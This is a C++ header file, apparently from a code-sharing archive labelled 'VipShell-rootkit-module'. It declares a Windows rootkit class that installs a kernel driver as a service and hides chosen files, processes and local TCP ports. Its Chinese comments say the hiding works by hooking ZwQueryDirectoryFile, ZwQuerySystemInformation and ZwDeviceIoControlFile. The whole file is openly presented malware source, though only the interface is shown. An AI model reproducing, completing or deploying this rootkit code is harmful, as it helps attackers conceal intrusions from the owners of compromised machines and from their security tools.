www.pudn.com > VipShell-rootkit-module.rar > RootKitModule.h
#pragma once #include#include "../I_RootKitModule.h" class CRootKitModule : public CPinboard { COMPONENT_INSTANCE_PINBOARD(CRootKitModule) public: virtual void Test() ; public: //实现接口.. virtual bool CreateDriver(LPCSTR szFileName, LPCSTR szDriver); virtual bool StartDriver() ; virtual bool StopDriver(); virtual bool DeleteDriver(LPCTSTR szDriver = NULL); virtual bool AddHideFile(LPCTSTR szFile); //添加一个隐藏文件 最多10 个 virtual bool DelHideFile(LPCTSTR szFile); //取消隐藏一个文件 virtual bool StartHideFile(); //开始HOOK ZwQueryDirectoryFile virtual bool AddHideProcessId(DWORD dwId); //添加 隐藏一个进程 最多10 个 virtual bool DelHideProcessId(DWORD dwId); //取消隐藏一个进程 virtual bool StartHideProcess(); //开始HOOK ZwQuerySystemInformation virtual bool AddHidePort(DWORD dwPort); //隐藏一个 本地TCP端口 最多10 个 virtual bool DelHidePort(DWORD dwPort); //delete virtual bool StartHidePort(); //HOOK ZwDeviceIoControlFile protected: BOOL StopService(SC_HANDLE hSCManager, LPCTSTR ServiceName); BOOL StartService(SC_HANDLE hSCManager, LPCTSTR ServiceName); BOOL InstallService(SC_HANDLE hSCManager, LPCTSTR ServiceName, LPCTSTR ServiceExe); BOOL RemoveService(SC_HANDLE hSCManager, LPCTSTR ServiceName); HANDLE _CreateFile(); protected: SC_HANDLE m_hSCManager; std::wstring m_strDriverName; };